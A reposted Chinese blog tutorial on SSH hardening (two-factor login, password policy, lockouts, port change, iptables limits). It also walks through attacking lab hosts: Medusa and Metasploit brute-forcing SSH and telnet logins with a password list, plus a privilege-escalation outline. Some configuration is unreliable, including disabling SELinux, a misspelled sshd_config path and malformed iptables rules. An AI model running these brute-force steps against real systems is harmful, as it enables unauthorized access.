ssh安全加固

devopsec 等级 517 0 0

Linux SSH 安全加固,这里使用CentOS7.5 做演示

一、配置SSH双因素登录

​ 1.确定系统时钟是正确的

2.安装相关依赖

​ yum install -y git gcc automake autoconf libtool make pam-devel 

​ 3.安装google 验证器

git clone https://github.com/google/google-authenticator-libpam
cd google-authenticator-libpam
./bootstrap.sh
./configure
make && make install
ln -fs /usr/local/lib/security/pam_google_authenticator.so /lib64/security/ 

​ 4.配置验证器
​ 修改SSH文件 将ChallengeResponseAuthentication 修改为yes
​ 修改PAM文件 vim /etc/pam.d/sshd 在auth substack password-auth下面一行添加 auth required pam_google_authenticator.so
​ 关闭selinux 修改/etc/sysconfig/selinux 文件 将 SELINUX=enforcing 修改为disabled
​ google-authenticator
​ 重启SSH服务

二、设置密码长度以及复杂度

​ 1.设置密码长度

修改 /etc/login.defs文件
将PASS_MIN_LEN 数值修改
修改 /etc/pam.d/system_auth配置文件
在password requisite 行后边添加: minlen=数值 

​ 2.设置密码复杂度

方法一:修改/etc/pam.d/system-auth
在password requisite 行后边添加:
    ucredit=-1 #至少包含1位大写字母
    lcredit=-1 #至少包含1位小写字母
    ocredit=-1 #至少包含1位特殊字符
    dcredit=-1 #至少包含1位数字
方法二:使用如下命令:
    authconfig --enablereqlower --update
    authconfig --enablerequpper --update
    authconfig --enablereqdigit --update
    authconfig --enablereqother --update 

三、设置密码重试限制

1.限制tty登录

修改login文件:
# vi /etc/pam.d/login
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=3600
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。
# 普通用户和root用户,密码输入错误5次,都会被锁定,普通用户被锁定1800秒,root用户被锁定3600秒
# deny=5表示密码输入错误5次
# unlock_time=1800表示普通用户锁定的时间,单位为秒
# root_unlock_time=3600表示root用户锁定的时间,单位为秒
# even_deny_root表示root用户也锁定 

2.限制ssh登录

# vi /etc/pam.d/sshd
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=1800
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。 

扩展

1、Medusa SSH弱口令破解

如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么充实人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统

Medusa对特点的ssh服务进行用户名和密码破解

将需要破解的密码,写入pass.txt文档中,
/root/Desktop/#vi pass.txt
123456
12341234
123123
asdasfdsd
12345678

用pass.txt里面的密码,进行破解
#medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

2、Metasploit利用SSH登录反弹Shell

使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhost 192.168.1.100
msf>set username msadmin
msf>set options 

msf>set password msadmin
msf>show options

运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

3、Metasploit获取Metaspreter Shell

利用获取的Bash shell,注入Metasploit中Metaspreter payload从而获取更强大功能的shell

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

登录系统
msf>run

查看会话2的具体信息
msf>sessions -u 2 
msf>sessions -l

查看帮助
msf>help
msf>msf>sessions -u 4 
msf>exit 

ssh安全加固
ssh安全加固
ssh安全加固
查看连接情况

# netstat -pantu
#ifconfig 

ssh安全加固

 # msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhosts 192.168.1.100
msf>set username msfadmin
msf>set password msfadmin
msf>run

msf>sessions -l

查看会话1的登录端口等信息
msf>sessions -u 1
msf>sessions -l

查看登录的系统版本信息
msf>sysinfo
msf> 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

SSH安全防御

1、SSH修改默认端口
2、SSH防御暴力破解用户账号
3、SSH设置PGP登录
4、Iptables设置阈值防止暴力破解

1、SSH修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口

#service sshd status
#vi /etc/ssh/sshd_conifg
port 66

#service sshd restart 

ssh安全加固
注意:修改之后,必须重启ssh服务

2、SSH防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
ssh安全加固
出现问题 :不能使用用户密码登录,很大程度上存在复杂操作
ssh安全加固

ssh安全加固
测试
ssh安全加固
配置成功

3、SSH设置PGP登录

默认情况下,SSH使用用户名和密码远程登录。但也可以使用密钥对进程身份验证登录(公钥和私钥)
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

4、Iptables设置阈值防止暴力破解

利用Iptables对多次连接验证错误,进行账户锁定120秒

#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --set
#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP

#service ssh restart 

ssh安全加固
在设置完之后,需要重新启动SSH服务

暴力破解、认证过程、登录提权

1、telnet版本获取
2、telnet密码破解
3、telnet登录测试
针对Telnet暴力破解

Telnet服务端默认情况下使用23端口
1、telnet版本获取
使用nmap获取telnet版本信息,或者使用metasploit获取对应版本信息。

#nmap -p23 -sV 192.168.1.105 

ssh安全加固
使用msfconsole

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_version
msf>show options
运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1

msf>search telnet 

ssh安全加固
ssh安全加固
2、telnet密码破解
ssh安全加固

msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password
查看用户密码
msf>show options

取消查看用户密码
msf>unset password
msf>show options

msf>set pass_file /root/Desktop/pass.txt
msf>set threads 10

运行命令,从pass.txt中的密码一个一个测试
msf>run
msf>
msf> 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
3、telnet登录测试
使用破解好的会话链接telnet,并执行对应命令。
使用sessions -l 例举建立的会话
使用sessions -i id 使用对应的会话

msf>sessions -l 
msf>sessions -i id 

#ifconfig 

ssh安全加固
ssh安全加固

telnet登录提权

1、msf登录telnet
2、设置kali nc监听
3、msf连接shell下载exp
4、编译执行exp,获取root

1、msf登录telnet
在metasploit中使用telnet_login进行登录,并使用sessions -i id 连接shell

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password

msf>run
msf>sessions -l 
msf>sessions -i 1 

ssh安全加固
ssh安全加固
2、msf连接shell下载exp
ssh安全加固

参考链接 :
CentOS7.0系统安全加固手册 : https://www.jianshu.com/p/501346ec6b26

Linux SSH安全加固 :https://www.jianshu.com/p/a953e70ea997

作者:Odinmx
链接:https://www.jianshu.com/p/a953e70ea997
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

本文转自 https://blog.csdn.net/qq_40907977/article/details/104198790,如有侵权,请联系删除。

收藏
评论区

相关推荐

ssh安全加固
(https://blog.csdn.net/qq_40907977/article/details/104198790)Linux SSH 安全加固,这里使用CentOS7.5 做演示
Jenkins安装配置,项目发布、管理详解,史上最清晰,值得收藏!
Jenkins安装配置,项目发布、管理详解,史上最清晰,值得收藏! : 一、导语 二、Jenkins 介绍 三、基础环境准备 四、Jenkins安装 五、Jenkins配置 六、源码构建、打包、部署、运行 七、常见问题汇总 八、后记 九、黑色小幽默 一、导语 Jenk
运维监控系统——Zabbix简介
前言对于运维人员来说,监控是非常重要的,因为如果想要保证线上业务整体能够稳定运行,那么我们则需要实时关注与其相关的各项指标是否正常,而一个业务系统的背后,往往存在着很多的服务器、网络设备等硬件资源,如果我们想要能够更加方便的、集中的监
漏洞复测系列 -- SSH 支持弱加密算法漏洞
本系列文章旨在对于有一定网络安全基础的人员,在日常工作中扫描出来的各种漏洞,如何进行验证,以区分该漏洞是否存在或是扫描器误报。请勿应用非法途径。 一、漏洞描述 SSH的配置文件中加密算法没有指定,默认支持所有加密算
运维安全-信息安全
本文转自 ,如有侵权,请联系删除。
ssh-keygen详解
sshkeygen用来生成ssh公钥认证所需的公钥和私钥文件。ssh秘钥登录特点:1.安全;2.免输密码。 对于安全级别较高的服务器,建议配好ssh登录后禁掉密码登录。 缺点:略繁琐。如果你的只是临时登录一次,那么还是密码吧。 一、生成秘钥 秘钥对需要在你自己的机器上生成,然后把公钥放到服务器相应用户的~/.ssh目录执行下面命令,默认
数据库运维做些什么?
一. 数据库生命周期 结合软件生命周期、项目的开展,数据库的生命周期大致可分为这么几个阶段。 (https://imghelloworld.osscnbeijing.aliyuncs.com/8552b8c2942bb8ce23
DevOps简介
DevOps 是一个完整的面向IT运维的工作流,以 IT 自动化以及持续集成(CI)、持续部署(CD)为基础,来优化程式开发、测试、系统运维等所有环节。DevOps的概念DevOps一词的来自于Development和Operations的组合,突出重视软件开发人员和运维人员的沟通合作,通过自动化流程来使得软件构建、测试、发布更加快捷、频繁和可靠。
GIT常用命令
1、初始化本地Git存储库 language git init2、创建远程存储库的本地副本 language git clone ssh://git@github.com/[username]/[repositoryname].git3、检查状态 language git status4、将文件添加到暂存区 language git add [fil
网络渗透测试实验一
写在前面 现在信安专业老师上课的考核方式也是与时俱进,要求大家都有自己的博客,然后作业啥的都推到博客上,就不用交纸质档或者电子档的作业了,十分省事且与时俱进,好评 网络渗透测试实验一:网络扫描与网络侦察 实验目的+ 理解网络扫描、网络侦察的作用;通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。 系统环境
Git避免每次都要输入密码,SSH公钥的生成和绑定
设置本机绑定 SSH 公钥,实现免密码登录 在我们平时写完代码提交的时候,每次都要输入账号和密码,很烦很烦 ,浪费时间,这篇文章的目的就是为了让大家变的更加轻松配置 SSH 公钥实现免密提交: 生成公钥 sshkeygen t rsa 然后在C:\Users\ASUS\.ssh路径下找到idrsa.pub文件将里面的内容复制(ASUS 是我当前用户的用户名
SecureCRT配合树莓派 使用教程
SecureCRT使用教程 如何建立连接 串口连接打开 SecureCRT这里需要提前安装一个USB转TTL驱动需要修改波特率 根据修改树莓派的文档”cmdline.txt“的操作我当时修改的是115200javadwcotg.lpmenable0 consoletty1 consoleserial0,115200 root/dev/mmcblk0p2 ro
认识树莓派及树莓派登录配置(SecureCRT)
什么是树莓派它是一款 基于ARM的微型电脑主板,以SD卡为内存硬盘,卡片主板周围有两个USB接口和一个网口,可连接键盘、鼠标和网线,同时拥有视频模拟信号的电视输出接口和HDMI高清视频输出接口,以上部件全部整合在一张仅比信用卡稍大的主板上, 具备所有PC的基本功能只需接通电视机和键盘,就能执行如电子表格、文字处理、玩游戏、播放高清视频等诸多功能。 Raspb
亲测有效!Mac系统终端神器【iTerm2】自动登录ssh远程服务器
我们可能不太喜欢用mac自带终端去每次访问远程服务器,如果想用xshell的话,也只能在windows系统才有。那么在mac有没有一款神器呢?答案是有的。安装iTerm2下载地址下载完呢,是一个安装包,双击打开就自动解压,打开解压后的程序就可以了。配置自动登录远程服务器打开呢,是一个命令行窗口,按下快捷键command  + , 打开 Preferences
运维大佬嘲笑我,这个你都不知道?
大家好,我是阿沐,一个喜欢分享技术而且爱好写散文的程序员。今天来给大家介绍一下info命令查看redis具体的详细信息讲解!起因是:前几年我在老家郑州实习面试(那个时候还没有毕业)的时候遇到面试官提问;面试官来于百度总部的工程师6年java开发经验+3年多的PHP开发经验,我在他的面前基本就是弟弟中的弟弟,虽然勉强通过入职了,但是却被运维无情地嘲笑,就因为组